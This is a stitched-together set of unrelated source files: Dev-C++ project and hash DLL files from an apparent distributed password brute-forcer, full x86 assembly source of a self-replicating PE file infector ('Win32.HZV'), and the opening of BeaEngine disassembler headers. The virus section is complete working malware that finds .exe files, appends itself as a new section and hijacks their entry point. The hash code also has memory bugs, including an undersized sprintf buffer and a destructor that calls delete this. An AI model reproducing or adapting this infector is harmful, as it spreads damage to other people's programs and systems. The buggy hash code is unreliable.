class DLLIMPORT HashMD5 : public Hash {


	private:
		EVP_MD_CTX mdctx;
		const EVP_MD *md;
		unsigned char md_value[EVP_MAX_MD_SIZE];
		unsigned int md_len, i;
		char* vTmp;

	public:
		HashMD5();
		~HashMD5();
		virtual void Compute(string);
};

#endif /* _DLL_H_ */
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#include "dll.h"


HashMD5::HashMD5(){
	salt="";
	vTmp=new char[2];
	OpenSSL_add_all_digests();
	md = EVP_get_digestbyname("MD5"); 
}


HashMD5::~HashMD5(){
	delete vTmp;
	delete this;
}


void HashMD5::Compute(string pass){
	this->password=pass;
	EVP_MD_CTX_init(&mdctx);
	EVP_DigestInit_ex(&mdctx, md, NULL);
	EVP_DigestUpdate(&mdctx, pass.c_str(), pass.length());
	EVP_DigestFinal_ex(&mdctx, md_value, &md_len);
	EVP_MD_CTX_cleanup(&mdctx);
	this->hash="";
	for(i = 0; i < md_len; i++) {
		sprintf(vTmp,"%02x",md_value[i]);
		this->hash+=vTmp;
	}
}

#ifdef WIN32

    BOOL APIENTRY DllMain (HINSTANCE hInst     /* Library instance handle. */ ,
                           DWORD reason        /* Reason this function is being called. */ ,
                           LPVOID reserved     /* Not used. */ )
    {
        switch (reason)
        {
          case DLL_PROCESS_ATTACH:
            break;

          case DLL_PROCESS_DETACH:
            break;

          case DLL_THREAD_ATTACH:
            break;

          case DLL_THREAD_DETACH:
            break;
        }

        /* Returns TRUE on success, FALSE on failure */
        return TRUE;
    }

#endif
	

// the class factories
EXPORT Hash* create() {
    	return new HashMD5;
}

EXPORT void destroy(Hash* p) {
	delete p;
}
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[Project]
FileName=Hash.dev
Name=HashMD5
UnitCount=2
Type=3
Ver=1
ObjFiles=
Includes=C:\OpenSSL\include;C:\OpenSSL\include\openssl
Libs=C:\OpenSSL\lib;C:\OpenSSL\lib\MinGW
PrivateResource=
ResourceIncludes=
MakeIncludes=
Compiler=-DBUILDING_DLL=1_@@_
CppCompiler=-DBUILDING_DLL=1_@@_
Linker=--no-export-all-symbols --add-stdcall-alias -leay32_@@_
IsCpp=1
Icon=
ExeOutput=
ObjectOutput=
OverrideOutput=1
OverrideOutputName=HashSHA1.dll
HostApplication=
Folders=
CommandLine=
UseCustomMakefile=0
CustomMakefile=
IncludeVersionInfo=0
SupportXPThemes=0
CompilerSet=0
CompilerSettings=0000000000000000000000

[VersionInfo]
Major=0
Minor=1
Release=1
Build=1
LanguageID=1033
CharsetID=1252
CompanyName=
FileVersion=
FileDescription=Developed using the Dev-C++ IDE
InternalName=
LegalCopyright=
LegalTrademarks=
OriginalFilename=
ProductName=
ProductVersion=
AutoIncBuildNr=0

[Unit1]
FileName=..\client\Hash.h
CompileCpp=1
Folder=Hash
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit3]
FileName=..\client\HashNT.cpp
CompileCpp=1
Folder=HashMD5
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit2]
FileName=..\client\HashSHA1.cpp
CompileCpp=1
Folder=HashMD5
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=
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[Project]
FileName=HashMD5.dev
Name=HashMD5
UnitCount=2
Type=3
Ver=1
ObjFiles=
Includes=
Libs=
PrivateResource=
ResourceIncludes=
MakeIncludes=
Compiler=-DBUILDING_DLL=1
CppCompiler=-DBUILDING_DLL=1
Linker=--no-export-all-symbols --add-stdcall-alias
IsCpp=1
Icon=
ExeOutput=
ObjectOutput=
OverrideOutput=0
OverrideOutputName=
HostApplication=
Folders=
CommandLine=
UseCustomMakefile=0
CustomMakefile=
IncludeVersionInfo=0
SupportXPThemes=0
CompilerSet=0
CompilerSettings=

[VersionInfo]
Major=0
Minor=1
Release=1
Build=1
LanguageID=1033
CharsetID=1252
CompanyName=
FileVersion=
FileDescription=Developed using the Dev-C++ IDE
InternalName=
LegalCopyright=
LegalTrademarks=
OriginalFilename=
ProductName=
ProductVersion=
AutoIncBuildNr=0

[Unit1]
FileName=..\client\Hash.h
CompileCpp=1
Folder=HashMD5
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit2]
FileName=..\client\HashMD5.cpp
CompileCpp=1
Folder=HashMD5
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=
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; dlltool --base-file C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp/cca00896.base --output-exp Hash.exp --dllname Hash.dll --output-def libHash.def --no-export-all-symbols --add-stdcall-alias --exclude-symbol=DllMainCRTStartup@12 --def C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp/cca00896.def --output-lib libHash.a
EXPORTS
	destroy @ 1
	create @ 2
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DistributedPasswordBruteForcer-x86/WinClient/libHashMD5.def

; dlltool --base-file C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp/cca01668.base --output-exp HashMD5.exp --dllname HashMD5.dll --output-def libHashMD5.def --no-export-all-symbols --add-stdcall-alias --exclude-symbol=DllMainCRTStartup@12 --def C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp/cca01668.def --output-lib libHashMD5.a
EXPORTS
	destroy @ 1
	create @ 2
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DistributedPasswordBruteForcer-x86/WinClient/libHashNT.def

; dlltool --base-file C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp/cca01488.base --output-exp HashNT.exp --dllname HashNT.dll --output-def libHashNT.def --no-export-all-symbols --add-stdcall-alias --exclude-symbol=DllMainCRTStartup@12 --def C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp/cca01488.def --output-lib libHashNT.a
EXPORTS
	destroy @ 1
	create @ 2
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DistributedPasswordBruteForcer-x86/WinClient/libHashSHA1.def

; dlltool --base-file C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp/cca01488.base --output-exp HashSHA1.exp --dllname HashSHA1.dll --output-def libHashSHA1.def --no-export-all-symbols --add-stdcall-alias --exclude-symbol=DllMainCRTStartup@12 --def C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp/cca01488.def --output-lib libHashSHA1.a
EXPORTS
	destroy @ 1
	create @ 2
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#include <cstdlib>
#include <iostream>



#ifndef _DLFCN_WIN32_H
	#define _DLFCN_WIN32_H
	#ifdef _WIN32
		#define WIN32_LEAN_AND_MEAN
		#include <windows.h>
		#include <errno.h>
		#define dlopen(P,G) (void*)LoadLibrary(P)
		#define dlsym(D,F) (void*)GetProcAddress((HMODULE)(D),(F))
		#define dlclose(D) FreeLibrary((HMODULE)(D))
		__inline const char* dlerror() {
			static char szMsgBuf[256];
			FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,NULL,GetLastError(),MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT),szMsgBuf,sizeof szMsgBuf,NULL);
			return szMsgBuf;
		}
	#endif /* _WIN32 */

#endif /* _DLFCN_WIN32_H */


#include <cstdlib>
#include <iostream>
#include "../client/Hash.h"


using namespace std;


int main(int argc, char** argv){


	void* lib_handle;
	create_t* create_Hash;
	destroy_t* destroy_Hash;
	Hash* hash;


	lib_handle = dlopen("Hash", RTLD_LAZY);
    cout << "ERROR = " << 	GetLastError() << endl;
	if (!lib_handle) cerr << "Cannot load library: " << dlerror() << endl;
	dlerror();
	create_Hash = (create_t*) dlsym(lib_handle, "create");
	const char* dlsym_error = dlerror();
	if (dlsym_error) cerr << "Cannot load symbol create: " << dlsym_error << endl;
	destroy_Hash = (destroy_t*) dlsym(lib_handle, "destroy");
	dlsym_error = dlerror();
	if (dlsym_error) cerr << "Cannot load symbol destroy: " << dlsym_error << endl;
	hash = create_Hash();






	return 0;
}
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# Project: WinClient
# Makefile created by Dev-C++ 4.9.9.2

CPP  = g++.exe
CC   = gcc.exe
WINDRES = windres.exe
RES  = 
OBJ  = ClientSocket.o ../client/Client.o ../client/BruteForcePassParam.o ../lib/Thread.o ../lib/Job.o ../client/BruteForcePass.o $(RES)
LINKOBJ  = ClientSocket.o ../client/Client.o ../client/BruteForcePassParam.o ../lib/Thread.o ../lib/Job.o ../client/BruteForcePass.o $(RES)
LIBS =  -L"C:/Dev-Cpp/lib" -lwsock32 -lpthreadGCE2  
INCS =  -I"C:/Dev-Cpp/include" 
CXXINCS =  -I"C:/Dev-Cpp/lib/gcc/mingw32/3.4.2/include"  -I"C:/Dev-Cpp/include/c++/3.4.2/backward"  -I"C:/Dev-Cpp/include/c++/3.4.2/mingw32"  -I"C:/Dev-Cpp/include/c++/3.4.2"  -I"C:/Dev-Cpp/include" 
BIN  = WinClient.exe
CXXFLAGS = $(CXXINCS)  
CFLAGS = $(INCS)  
RM = rm -f

.PHONY: all all-before all-after clean clean-custom

all: all-before WinClient.exe all-after


clean: clean-custom
	${RM} $(OBJ) $(BIN)

$(BIN): $(OBJ)
	$(CPP) $(LINKOBJ) -o "WinClient.exe" $(LIBS)

ClientSocket.o: ClientSocket.cpp
	$(CPP) -c ClientSocket.cpp -o ClientSocket.o $(CXXFLAGS)

../client/Client.o: ../client/Client.cpp
	$(CPP) -c ../client/Client.cpp -o ../client/Client.o $(CXXFLAGS)

../client/BruteForcePassParam.o: ../client/BruteForcePassParam.cpp
	$(CPP) -c ../client/BruteForcePassParam.cpp -o ../client/BruteForcePassParam.o $(CXXFLAGS)

../lib/Thread.o: ../lib/Thread.cpp
	$(CPP) -c ../lib/Thread.cpp -o ../lib/Thread.o $(CXXFLAGS)

../lib/Job.o: ../lib/Job.cpp
	$(CPP) -c ../lib/Job.cpp -o ../lib/Job.o $(CXXFLAGS)

../client/BruteForcePass.o: ../client/BruteForcePass.cpp
	$(CPP) -c ../client/BruteForcePass.cpp -o ../client/BruteForcePass.o $(CXXFLAGS)
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[Project]
FileName=WinClient.dev
Name=WinClient
UnitCount=13
Type=1
Ver=1
ObjFiles=
Includes=
Libs=
PrivateResource=
ResourceIncludes=
MakeIncludes=
Compiler=
CppCompiler=
Linker=-lwsock32 -lpthreadGCE2_@@_
IsCpp=1
Icon=
ExeOutput=
ObjectOutput=
OverrideOutput=0
OverrideOutputName=WinClient.exe
HostApplication=
Folders=
CommandLine=
UseCustomMakefile=0
CustomMakefile=
IncludeVersionInfo=0
SupportXPThemes=0
CompilerSet=0
CompilerSettings=0000000000000000000000

[VersionInfo]
Major=0
Minor=1
Release=1
Build=1
LanguageID=1033
CharsetID=1252
CompanyName=
FileVersion=
FileDescription=Developed using the Dev-C++ IDE
InternalName=
LegalCopyright=
LegalTrademarks=
OriginalFilename=
ProductName=
ProductVersion=
AutoIncBuildNr=0

[Unit2]
FileName=ClientSocket.cpp
CompileCpp=1
Folder=
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit4]
FileName=..\client\Client.h
CompileCpp=1
Folder=WinClient
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit5]
FileName=..\client\BruteForcePassParam.cpp
CompileCpp=1
Folder=WinClient
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit1]
FileName=ClientSocket.h
CompileCpp=1
Folder=
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit6]
FileName=..\client\BruteForcePassParam.h
CompileCpp=1
Folder=WinClient
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit3]
FileName=..\client\Client.cpp
CompileCpp=1
Folder=WinClient
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit7]
FileName=..\lib\Thread.cpp
CompileCpp=1
Folder=WinClient
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit8]
FileName=..\lib\SocketException.h
CompileCpp=1
Folder=WinClient
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit9]
FileName=..\lib\Job.cpp
CompileCpp=1
Folder=WinClient
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit10]
FileName=..\lib\Job.h
CompileCpp=1
Folder=WinClient
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit11]
FileName=..\client\BruteForcePass.cpp
CompileCpp=1
Folder=WinClient
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit12]
FileName=..\client\BruteForcePass.h
CompileCpp=1
Folder=WinClient
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=

[Unit13]
FileName=..\client\Hash.h
CompileCpp=1
Folder=WinClient
Compile=1
Link=1
Priority=1000
OverrideBuildCmd=0
BuildCmd=
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Infecteur Win32/Win32.HZV.Yakko.asm

;|==============================================================================|
;|Win32.HZV																		|
;|By Yakko																		|
;|																				|
;|Vous êtes seul responsable de vos gestes et 									|
;|en aucun cas l'auteur de ce texte ne peut être tenu responsable. 				|
;|Ces informations sont diffusées dans un but 									|
;|éducatif et l'auteur ne vous encourage nullement à les mettres en pratique.	| 
;|Vous risquez la prison ou une lourde amende.									|
;|																				|
;|==============================================================================|

.386
.model flat, stdcall
option casemap:none
assume fs:nothing

.code
vStart:

call GetDelta

GetDelta:
pop ebp
sub ebp, offset GetDelta

call GetKernel32Address		; Cherche Kernel32
call GetAPIs				; Récupere les APIs nécessaire
call SearchAndDestroy		; Cherche, Map, Check et infecte l'executable

call MBox					; Payload

; Rend la main à l'hote
ReturnHost:
	
	mov		eax, dword ptr [ebp+oldOEP]
	jmp		eax
	ret

;-------------------------------------------------------------------------------
;GetKernel32Address
;Cherche et sauvegarde l'adresse de la Kernel32 dans "aKernel32"
;-------------------------------------------------------------------------------
GetKernel32Address PROC

	xor	eax, eax				; EAX = 0
	mov	eax, fs:[30h]			; EAX pointe sur le PEB
	mov	eax, [eax+0Ch]			; EAX pointe sur la structure _PEB_LDR_DATA
	mov	esi, [eax+1Ch]			; Charge la valeur du champ InInitializationOrderModuleList
	lodsd						; Charge dans EAX le début de la liste chainé pointé par ESI
	mov	ebx, [eax+8]			; Charge dans EBX l'adresse de Kernel32
	mov [ebp+aKernel32], ebx	; Sauvegarde l'adresse dans une variable
	ret
	
GetKernel32Address ENDP

;-------------------------------------------------------------------------------
;GetAPIs
;Cherche les APIs nécessaire au virus et sauvegarde leurs adresses
;-------------------------------------------------------------------------------
GetAPIs PROC
; Récupération de l'adresse de ma structure d'export
	pop dword ptr [ebp+backupGetApiEIP]
GetExportAddress:
	mov eax, [ebp+aKernel32]		; Charge kernel32 dans EAX
	mov	ebx, [eax+3Ch] 				; RVA structure PE
	add ebx, eax					; Ajout de l'image base
	mov ebx, [ebx+78h]				; RVA structure d'export
	add ebx, eax					; Ajout de l'image base
	mov [ebp+aExportStruct], ebx	; BackUp de l'adresse de la structure

; Récupération de l'adresse de GetProcAddress
Get_GetProcAddress:
	mov edx, [ebp+aKernel32]		; Charge kernel32
	mov ebx, [ebp+aExportStruct]	; Charge la structure d'export
	mov esi, [ebx+20h]				; Pointe vers AddressOfNames
	add esi, edx					

FindGetProcAddress:
	lodsd							; Charge dans EAX la valeur pointé par ESI
	add eax, edx					; Ajout de l'image base
	mov edi, eax					; Prepare EDI pour la comparaison
	push esi						; Backup ESI
	lea esi, [ebp+sGetProcAddress]	; Met l'adresse de la chaine GetProcAddress dans ESI

StringCmp:
	cmpsb						; on compare ESI et EDI et on les incrémente.
	jne NextFunction            ; si différent on recommence
	cmp byte ptr [edi], 0       ; sinon on regarde si on est à la fin de la chaine.
	je GetProcAddressFound      ; c'est bon, on l'a.
	jmp StringCmp               ; non on teste le prochain caractère.

NextFunction:                               
	pop esi						; ESI pointe sur la table des noms.
	inc ecx						; ECX = ECX + 1.
	jmp FindGetProcAddress  

GetProcAddressFound:
	xor eax, eax
	mov esi, [ebx+24h]					; AddressOfNameOrdinals
	shl ecx, 1							; ECX = ECX * 2
	add esi, ecx						; J'ajoute l'index
	add esi, edx						; + l'Image Base
	mov ax, word ptr [esi]				; Récupere l'ordinal (WORD)

	shl eax, 2                          ; EAX = EAX * 4.
	add eax, [ebx+1Ch]            		; Ajoute l'adresse de la table des adresses des fontions.
	add eax, edx						; + l'Image Base
	mov ebx, [eax]                      ; EBX = RVA GetProcAdress.
	add ebx, edx 						; + l'Image Base
	mov [ebp+aGetProcAddress], ebx		; Backup

; Scan d'API
ApiScanner:
	lea edi, [ebp+aCloseHandle]     ; EDI = stockage de la valeur de retour
	lea esi, [ebp+sCloseHandle]     ; ESI = chaine de caractere correspondant à la fonction cherchée

APISearch:
	push esi						; On push le nom de l' api à chercher
	push [ebp+aKernel32]			; On push l'adresse de kernel32.dll
	call [ebp+aGetProcAddress]
	mov [edi], eax 					; Charge le contenu de EAX l'allocation pointé par EDI
	add edi, 4

NextAPI:
	inc esi							; On incrémente ESI
	cmp byte ptr [esi], 0 			; On regarde si on est à la fin de la chaine.
	jne NextAPI 					; Si non, on reteste
	inc esi							; Si oui, on incrémente ESI
	cmp byte ptr [esi], 0FFh 		; On  regarde si on est arrivé à la fin des fonctions à chercher.
	jne APISearch					; Si non on continue. 

GetMessageBox:
	lea eax, [ebp+sUser32]			; EAX pointe sur le nom de la dll (User32.dll)
	push 2h							; LOAD_LIBRARY_AS_DATAFILE
	push 0
	push eax
	call [ebp+aLoadLibrary]     
	mov [ebp+aUser32], eax 			; EAX = l'adresse de User32.dll
	
	lea edi, [ebp+sMessageBox]          
	push edi  						; On push le nom de l'api à chercher l'adresse
	push [ebp+aUser32]				; On push l'adresse de la dll qui exporte l'API, ici User32.dll
	call [ebp+aGetProcAddress]		
	mov [ebp+aMessageBox], eax 		; EAX = adresse de MessageBoxA.

	push dword ptr [ebp+backupGetApiEIP]
	ret

GetAPIs ENDP

;-------------------------------------------------------------------------------
;SearchAndDestroy
;Scan le répertoire, cherche les .exe et les infectes
;-------------------------------------------------------------------------------
SearchAndDestroy PROC
	pop dword ptr [ebp+backupSearchEIP]
FindFirst:
	lea	eax, [ebp+win32FindData]	
	push eax						; Push la structure WIN32_FIND_DATA 
	lea	eax, [ebp+exeMask]			
	push eax						; Wildcard pour la recherche d'executable
	call [ebp+aFindFirstFile]		; call FindFisrtFile
	cmp eax, -1						
	je SearchClose					; On verifie que tout c'est bien passé sinon on quitte
	mov [ebp+searchHandle], eax		; Backup du handle de recherche
	
	call Infection
	
	dec byte ptr [ebp+fileCount]
	
FindNext:
	lea	eax, [ebp+win32FindData]
	push eax						; Push la structure WIN32_FIND_DATA 
	mov	eax, [ebp+searchHandle]
	push eax						; Push le searchHandle
	call [ebp+aFindNextFile]
	cmp eax, 0
	je CloseSearchHandle			; On verifie que tout c'est bien passé sinon on quitte
	mov [ebp+searchHandle], eax		; Backup du handle de recherche

	call Infection
	
	dec byte ptr [ebp+fileCount]
	cmp byte ptr [ebp+fileCount], 0
	jne FindNext

CloseSearchHandle:
	push dword ptr [ebp+searchHandle]
	call [ebp+aFindClose]
	
SearchClose:
	push dword ptr [ebp+backupSearchEIP]
	ret
	
SearchAndDestroy ENDP

;-------------------------------------------------------------------------------
;Infection
;Map le fichier puis l'infecte
;-------------------------------------------------------------------------------

Infection PROC
;-------------------------------------------------------------------------------
;Mapping
;Map le fichier en mémoire
;-------------------------------------------------------------------------------
	pop dword ptr [ebp+backupInfectEIP]
Mapping:
	; CreateFile
	push 00h
	push 80h								; FILE_ATTRIBUTE_NORMAL
	push 03h								; OPEN_EXISTING
	push 00h
	push 01h								; FILE_SHARE_READ
	push 0C0000000h							; GENERIC_READ | GENERIC_WRITE
	lea eax, [ebp+win32FindData.cFileName]
	push eax								; Push le nom du fichier
	call [ebp+aCreateFileA]
	; Contrôle d'erreur
	cmp eax, -1
	je InfectionClose
	mov [ebp+fileHandle], eax				; Backup le handle
	
	; GetFileSize
	xor ecx, ecx
	mov ecx, [ebp+win32FindData.nFileSizeHigh]
	push ecx
	push eax									; Contient le handle obtenu via CreateFile
	call [ebp+aGetFileSize]
	; Contrôle d'erreur
	cmp eax, -1
	je InfectCloseFileHandle
	mov [ebp+FileSize], eax						; Backup la taille du fichier
	
	; CreateFileMapping
	push 00h						; Useless
	mov eax, [ebp+FileSize]
	add eax, 2000h
	push eax						; Taille du fichier + petit bonus pour le virus :)
	push 00h						; Useless
	push 04h						; PAGE_READWRITE
	push 00h						; Useless
	mov eax, [ebp+fileHandle]
	push eax						;Handle récupéré précédemment
	call [ebp+aCreateFileMappingW]
	; Contrôle d'erreur
	cmp eax, 0
	je InfectCloseFileHandle
	mov [ebp+mapHandle], eax

	; MapViewOfFile
	mov eax, [ebp+FileSize]
	add eax, 2000h
	push eax						; Mémoire à allouer
	push 00h
	push 00h
	push 02h						; FILE_MAP_WRITE
	mov eax, [ebp+mapHandle]
	push eax
	call [ebp+aMapViewOfFile]
	; Contrôle d'erreur
	cmp eax, 0
	je InfectCloseMapHandle
	mov [ebp+mapAddress], eax

;-------------------------------------------------------------------------------
;Infect
;Verifie la validité de l'executable puis l'infecte
;-------------------------------------------------------------------------------
Infect:
	mov esi, [ebp+mapAddress]
	cmp	word ptr [esi], 'ZM'			; Verifie la signature MZ
	jnz InfectUnMapViewOfFile
	mov eax, [esi+3Ch]
	add esi, eax
	cmp dword ptr [esi], 'EP'			; Verifie la signature PE
	jnz InfectUnMapViewOfFile
	cmp dword ptr [esi+4Ch],"VZH#"      ; On regade si le fichier est déjà infecté.
	jz  InfectUnMapViewOfFile 
	mov	dword ptr [esi+4Ch], "VZH#"		; Si c'est pas le cas on le marque
	
	mov [ebp+mapFilePeHeader], esi
	

	xor eax, eax
	mov ax, word ptr [esi+06h] 			; Offset nombre de sections
	mov [ebp+sectionsNbr], eax
	inc word ptr [esi+06h]				; Je rajoute une sections donc j'incremente
	
	mov	eax, [esi+28h]					; EAX = Original AddressOfEntryPoint
	add	eax, [esi+34h]					; EAX = Original AddressOfEntryPoint+Original ImageBase
	
	mov	dword ptr [ebp+oldOEP], eax		; Backup
	
	add [esi+54h], dword ptr 200h 
	mov	eax, [esi+50h]							; EAX = Original SizeOfImage
	mov	[esi+28h], eax							; Modifie l'OEP
	mov	dword ptr [ebp+ OriImageSize], eax 		; Backup
	
	add	eax, dword ptr [ebp+SecVirSize]			; Ajout de la taille du virus à EAX
	mov	[esi+50h], eax							; Modifie le header pour changer la taille de l'exe
	
	add	esi, 0F8h 								; Point sur la premiere entete de section
	mov	eax, 28h 								; EAX = taille d'un header de section
	xor ecx, ecx
	mov	ecx, [ebp+sectionsNbr] 					; Nombre de sections avant infection
	push esi
	mul	ecx										; EAX = EAX * ECX
	pop esi
	add	esi, eax								; ESI = Pointe sur l'offset situé apres le dernier header de section
	mov	dword ptr [ebp+LastSectionHeader], eax 	; Backup
	
	;NEW SECTIONS
	xor eax, eax
	mov dword ptr [esi], "VZH#" 				; Section name
	mov ax, word ptr [ebp+SecVirSize]
	mov [esi+08h], eax							; VirtualSize
	mov eax,[ebp+OriImageSize]
	mov [esi+0Ch], eax							; VirtualAddress
	mov eax, (offset vEnd - offset vStart)
	mov [esi+10h], eax							; SizeOfRawData
	mov eax, [ebp+FileSize]
	mov [esi+14h], eax							; PointerToRawData
	mov [esi+24h], dword ptr 0E0000020h			; Characteristics READ|WRITE|EXECUTABLE
	;END
	
	;VIRUS COPY
	mov edi,[ebp+mapAddress]					; Destination
	add edi,[ebp+FileSize]						; Destination + taille du code (juste apres le code de l'appli)
	mov ecx, (offset vEnd - offset vStart)   	; Taille du virus
	lea esi, [ebp+vStart]                 		; On copie depuis le label vStart
	rep movsb   								; Let's go ! :)
	;END
	

; Quitte proprement	
InfectUnMapViewOfFile:
	push [ebp+mapAddress]
	call [ebp+aUnMapViewOfFile]	
InfectCloseMapHandle:
	push [ebp+mapHandle]
	call [ebp+aCloseHandle]
InfectCloseFileHandle:
	push [ebp+fileHandle]
	call [ebp+aCloseHandle]
	
InfectionClose:
	push dword ptr [ebp+backupInfectEIP]
	ret

Infection ENDP

;-------------------------------------------------------------------------------
;MBox
;Payload
;-------------------------------------------------------------------------------
MBox PROC
	push 0
	lea	eax, [ebp+lpCaption]
	push eax
	lea	eax, [ebp+lpText]
	push eax
	push 0
	call [ebp+aMessageBox]

	ret
MBox ENDP

;-------------------------------------------------------------------------------
;.data
;Valeurs sauvegardées dans la partie code
;Pour executer le code, il faut les droits d'ecriture sur la partie code
;Droit modifiable via LordPE (dans les caracteristiques de sections)
;-------------------------------------------------------------------------------
sGetProcAddress 	db "GetProcAddress", 0
sMessageBox 		db "MessageBoxA",0
sUser32 			db "user32.dll", 0
aMessageBox			dd ?
aUser32 			dd ?
aKernel32 			dd ?
aExportStruct		dd ?
aGetProcAddress 	dd ?
searchHandle 		dd ?
exeMask 			db "*.exe", 0
fileHandle			dd ?
mapHandle			dd ?
mapAddress			dd ?
alignVirtual		dd ?
alignRaw			dd ?
oldOEP				dd ?
sectionsNbr			dd ?
OriImageSize		dd ?
SecVirSize			dd 00001000h
LastSectionHeader	dd ?
FileSize			dd ?
mapFilePeHeader		dd ?
fileCount			db 3h
backupGetApiEIP		dd ?
backupSearchEIP		dd ?
backupInfectEIP		dd ?

; Parametres MBox proc
lpCaption 	db	"#HZV Win32.Infector", 0
lpText		db	"Win32.Infector by Yakko", 0

; Struct SearchFile
w32_find_data struct
	dwFileAttributes      dd 0
	ftCreationTime        dd 0,0
	ftLastAccessTime      dd 0,0
	ftLastWriteTime       dd 0,0
	nFileSizeHigh         dd 0
	nFileSizeLow          dd 0
	dwReserved0           dd 0
	dwReserved1           dd 0
	cFileName             db      260 dup (?)
	cAlternateFileName    db      13 dup (?)
w32_find_data ends

win32FindData w32_find_data <>

; Nom des fonctions pour le scan d'API
sCloseHandle 		db "CloseHandle",0
sLoadLibrary		db "LoadLibraryExA", 0
sCreateFileA 		db "CreateFileA",0
sCreateFileMappingW db "CreateFileMappingW",0
sExitProcess 		db "ExitProcess",0 
sFindFirstFile 		db "FindFirstFileA",0
sFindNextFile 		db "FindNextFileA",0
sFindClose			db "FindClose",0
sGetFileSize		db "GetFileSize",0
sGetModuleHandle 	db "GetModuleHandleA",0
sMapViewOfFile 		db "MapViewOfFile",0
sUnMapViewOfFile 	db "UnmapViewOfFile",0

db 0FFh

; Variables pour les récuperation des adresse après le scan d'API
aCloseHandle 		dd ?
aLoadLibrary		dd ?
aCreateFileA 		dd ?
aCreateFileMappingW dd ?
aExitProcess 		dd ? 
aFindFirstFile 		dd ?
aFindNextFile 		dd ?
aFindClose			dd ?
aGetFileSize		dd ?
aGetModuleHandle 	dd ?
aMapViewOfFile 		dd ?
aUnMapViewOfFile 	dd ?
	
vEnd:
end vStart
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//
// BeaEngine 3.0 - x86 & x86-64 disassembler library
//
// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.


#include <windows.h>
#include <stdio.h>
#include <string.h>
#include "BeaEngine.h"
#include "Includes/protos.h"
#include "Includes/internal_datas.h"
#include "Includes/instr_set/Data_opcode.h"
#include "Includes/instr_set/opcodes_A_M.c"
#include "Includes/instr_set/opcodes_N_Z.c"
#include "Includes/instr_set/opcodes_Grp1.c"
#include "Includes/instr_set/opcodes_Grp2.c"
#include "Includes/instr_set/opcodes_Grp3.c"
#include "Includes/instr_set/opcodes_Grp4.c"
#include "Includes/instr_set/opcodes_Grp5.c"
#include "Includes/instr_set/opcodes_Grp6.c"
#include "Includes/instr_set/opcodes_Grp7.c"
#include "Includes/instr_set/opcodes_Grp8.c"
#include "Includes/instr_set/opcodes_Grp9.c"
#include "Includes/instr_set/opcodes_Grp12.c"
#include "Includes/instr_set/opcodes_Grp13.c"
#include "Includes/instr_set/opcodes_Grp14.c"
#include "Includes/instr_set/opcodes_Grp15.c"
#include "Includes/instr_set/opcodes_Grp16.c"
#include "Includes/instr_set/opcodes_FPU.c"
#include "Includes/instr_set/opcodes_MMX.c"
#include "Includes/instr_set/opcodes_SSE.c"
#include "Includes/instr_set/opcodes_prefixes.c"
#include "Includes/Routines_ModRM.c"
#include "Includes/Routines_Disasm.c"

void BeaEngine(void){return;}
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#ifndef _BEA_ENGINE_
#define _BEA_ENGINE_


#define INSTRUCT_LENGTH 64

#pragma pack(1)
typedef struct {
   BYTE W_;
   BYTE R_;
   BYTE X_;
   BYTE B_;
   BYTE state;
} REX_Struct  ;
#pragma pack()

#pragma pack(1)
typedef struct {
   int Number;
   int NbUndefined;
   BYTE LockPrefix;
   BYTE OperandSize;
   BYTE AddressSize;
   BYTE RepnePrefix;
   BYTE RepPrefix;
   BYTE FSPrefix;
   BYTE SSPrefix;
   BYTE GSPrefix;
   BYTE ESPrefix;
   BYTE CSPrefix;
   BYTE DSPrefix;
   BYTE BranchTaken;
   BYTE BranchNotTaken;
   REX_Struct REX;
} PREFIXINFO  ;
#pragma pack()

#pragma pack(1)
typedef struct {
   BYTE OF_;
   BYTE SF_;
   BYTE ZF_;
   BYTE AF_;
   BYTE PF_;
   BYTE CF_;
   BYTE TF_;
   BYTE IF_;
   BYTE DF_;
   BYTE NT_;
   BYTE RF_;
   BYTE alignment;
} EFLStruct  ;
#pragma pack()

#pragma pack(4)
typedef struct {
   long BaseRegister;
   long IndexRegister;
   long Scale;
   long long Displacement;
} MEMORYTYPE ;
#pragma pack()


#pragma pack(1)
typedef struct  {
   long Category;
   long Opcode;
   char Mnemonic[16];
   long BranchType;
   EFLStruct Flags;
